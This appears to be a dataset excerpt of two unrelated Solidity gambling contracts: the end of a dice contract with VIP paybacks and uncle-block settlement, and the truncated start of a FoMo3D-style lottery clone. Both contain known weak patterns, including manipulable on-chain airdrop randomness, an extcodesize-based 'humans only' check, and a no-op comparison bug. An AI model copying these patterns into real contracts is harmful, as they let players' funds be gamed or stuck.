function applyVIPLevel(address gambler, uint amount) private {
uint accuAmount = accuBetAmount[gambler];
uint rate;
if(accuAmount >= 30 ether && accuAmount < 150 ether){
rate = 1;
} else if(accuAmount >= 150 ether && accuAmount < 300 ether){
rate = 2;
} else if(accuAmount >= 300 ether && accuAmount < 1500 ether){
rate = 4;
} else if(accuAmount >= 1500 ether && accuAmount < 3000 ether){
rate = 6;
} else if(accuAmount >= 3000 ether && accuAmount < 15000 ether){
rate = 8;
} else if(accuAmount >= 15000 ether && accuAmount < 30000 ether){
rate = 10;
} else if(accuAmount >= 30000 ether && accuAmount < 150000 ether){
rate = 12;
} else if(accuAmount >= 150000 ether){
rate = 15;
} else{
return;
}
uint vipPayback = amount * rate / 10000;
if(gambler.send(vipPayback)){
emit VIPPayback(gambler, vipPayback);
}
}
function placeBetWithInviter(uint betMask, uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s, address inviter) external payable {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
require (address(this) != inviter && inviter != address(0), "cannot invite mysql");
verifyCommit(commitLastBlock, commit, v, r, s);
uint mask;
require (betMask > 0 && betMask <= 100, "High modulo range, betMask larger than modulo.");
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, betMask);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation. ");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
emit Commit(commit);
bet.amount = amount;
bet.rollUnder = uint8(betMask);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
bet.inviter = inviter;
uint accuAmount = accuBetAmount[msg.sender];
accuAmount = accuAmount + amount;
accuBetAmount[msg.sender] = accuAmount;
}
function getMyAccuAmount() external view returns (uint){
return accuBetAmount[msg.sender];
}
function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require (blockhash(placeBlockNumber) == blockHash);
settleBetCommon(bet, reveal, blockHash);
}
function settleBetUncleMerkleProof(uint reveal, uint40 canonicalBlockNumber) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
require (block.number <= canonicalBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
requireCorrectReceipt(4 + 32 + 32 + 4);
bytes32 canonicalHash;
bytes32 uncleHash;
(canonicalHash, uncleHash) = verifyMerkleProof(commit, 4 + 32 + 32);
require (blockhash(canonicalBlockNumber) == canonicalHash);
settleBetCommon(bet, reveal, uncleHash);
}
function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private {
uint amount = bet.amount;
uint rollUnder = bet.rollUnder;
address gambler = bet.gambler;
require (amount != 0, "Bet should be in an 'active' state");
applyVIPLevel(gambler, amount);
bet.amount = 0;
bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash));
uint modulo = 100;
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
if (modulo <= MAX_MASK_MODULO) {
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
} else {
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
lockedInBets -= uint128(diceWinAmount);
if (amount >= MIN_JACKPOT_BET) {
if ((uint(entropy) / modulo) % JACKPOT_MODULO == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
}
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin, dice, rollUnder, amount);
}
if(bet.inviter != address(0)){
bet.inviter.transfer(amount * HOUSE_EDGE_PERCENT / 100 * 15 /100);
}
todaysRewardSize += amount * HOUSE_EDGE_PERCENT / 100 * 9 /100;
sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin, dice, rollUnder, amount);
}
function refundBet(uint commit) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.rollUnder);
lockedInBets -= uint128(diceWinAmount);
jackpotSize -= uint128(jackpotFee);
sendFunds(bet.gambler, amount, amount, 0, 0, 0);
}
function getDiceWinAmount(uint amount, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {
require (0 < rollUnder && rollUnder <= 100, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * 100 / rollUnder;
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount, uint dice, uint rollUnder, uint betAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount, dice, rollUnder, betAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F;
function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash) {
uint scratchBuf1; assembly { scratchBuf1 := mload(0x40) }
uint uncleHeaderLength; uint blobLength; uint shift; uint hashSlot;
for (;; offset += blobLength) {
assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) }
if (blobLength == 0) {
break;
}
assembly { shift := and(calldataload(sub(offset, 28)), 0xffff) }
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
seedHash := sha3(scratchBuf1, blobLength)
uncleHeaderLength := blobLength
}
}
uncleHash = bytes32(seedHash);
uint scratchBuf2 = scratchBuf1 + uncleHeaderLength;
uint unclesLength; assembly { unclesLength := and(calldataload(sub(offset, 28)), 0xffff) }
uint unclesShift; assembly { unclesShift := and(calldataload(sub(offset, 26)), 0xffff) }
require (unclesShift + uncleHeaderLength <= unclesLength, "Shift bounds check.");
offset += 6;
assembly { calldatacopy(scratchBuf2, offset, unclesLength) }
memcpy(scratchBuf2 + unclesShift, scratchBuf1, uncleHeaderLength);
assembly { seedHash := sha3(scratchBuf2, unclesLength) }
offset += unclesLength;
assembly {
blobLength := and(calldataload(sub(offset, 30)), 0xffff)
shift := and(calldataload(sub(offset, 28)), 0xffff)
}
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
blockHash := sha3(scratchBuf1, blobLength)
}
}
function requireCorrectReceipt(uint offset) view private {
uint leafHeaderByte; assembly { leafHeaderByte := byte(0, calldataload(offset)) }
require (leafHeaderByte >= 0xf7, "Receipt leaf longer than 55 bytes.");
offset += leafHeaderByte - 0xf6;
uint pathHeaderByte; assembly { pathHeaderByte := byte(0, calldataload(offset)) }
if (pathHeaderByte <= 0x7f) {
offset += 1;
} else {
require (pathHeaderByte >= 0x80 && pathHeaderByte <= 0xb7, "Path is an RLP string.");
offset += pathHeaderByte - 0x7f;
}
uint receiptStringHeaderByte; assembly { receiptStringHeaderByte := byte(0, calldataload(offset)) }
require (receiptStringHeaderByte == 0xb9, "Receipt string is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint receiptHeaderByte; assembly { receiptHeaderByte := byte(0, calldataload(offset)) }
require (receiptHeaderByte == 0xf9, "Receipt is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint statusByte; assembly { statusByte := byte(0, calldataload(offset)) }
require (statusByte == 0x1, "Status should be success.");
offset += 1;
uint cumGasHeaderByte; assembly { cumGasHeaderByte := byte(0, calldataload(offset)) }
if (cumGasHeaderByte <= 0x7f) {
offset += 1;
} else {
require (cumGasHeaderByte >= 0x80 && cumGasHeaderByte <= 0xb7, "Cumulative gas is an RLP string.");
offset += cumGasHeaderByte - 0x7f;
}
uint bloomHeaderByte; assembly { bloomHeaderByte := byte(0, calldataload(offset)) }
require (bloomHeaderByte == 0xb9, "Bloom filter is always 256 bytes long.");
offset += 256 + 3;
uint logsListHeaderByte; assembly { logsListHeaderByte := byte(0, calldataload(offset)) }
require (logsListHeaderByte == 0xf8, "Logs list is less than 256 bytes long.");
offset += 2;
uint logEntryHeaderByte; assembly { logEntryHeaderByte := byte(0, calldataload(offset)) }
require (logEntryHeaderByte == 0xf8, "Log entry is less than 256 bytes long.");
offset += 2;
uint addressHeaderByte; assembly { addressHeaderByte := byte(0, calldataload(offset)) }
require (addressHeaderByte == 0x94, "Address is 20 bytes long.");
uint logAddress; assembly { logAddress := and(calldataload(sub(offset, 11)), 0xffffffffffffffffffffffffffffffffffffffff) }
require (logAddress == uint(address(this)));
}
function memcpy(uint dest, uint src, uint len) pure private {
for(; len >= 32; len -= 32) {
assembly { mstore(dest, mload(src)) }
dest += 32; src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function thisBalance() public view returns(uint) {
return address(this).balance;
}
function setAvatarIndex(uint index) external{
require (index >=0 && index <= 100, "avatar index should be in range");
Profile storage profile = profiles[msg.sender];
profile.avatarIndex = index;
}
function setNickName(string nickName) external{
Profile storage profile = profiles[msg.sender];
profile.nickName = nickName;
}
function getProfile() external view returns(uint, string){
Profile storage profile = profiles[msg.sender];
return (profile.avatarIndex, profile.nickName);
}
function payTodayReward(address to, uint rate) external onlyOwner {
uint prize = todaysRewardSize * rate / 10000;
todaysRewardSize = todaysRewardSize - prize;
if(to.send(prize)){
emit TodaysRankingPayment(to, prize);
}
}
} | 0 | 831 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents { }
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
address private otherF3D_;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xee52e1563f25e4f638052fb971a7198b63828a43);
string constant public name = "imfomo Long Official";
string constant public symbol = "imfomo";
uint256 private rndExtra_ = 30;
uint256 private rndGap_ = 30;
uint256 constant private rndInit_ = 10 minutes;
uint256 constant private rndInc_ = 60 seconds;
uint256 constant private rndMax_ = 10 minutes;
address constant private reward = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(31,0);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(61,0);
fees_[3] = F3Ddatasets.TeamFee(46,0);
potSplit_[0] = F3Ddatasets.PotSplit(15,0);
potSplit_[1] = F3Ddatasets.PotSplit(15,0);
potSplit_[2] = F3Ddatasets.PotSplit(30,0);
potSplit_[3] = F3Ddatasets.PotSplit(30,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(58)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
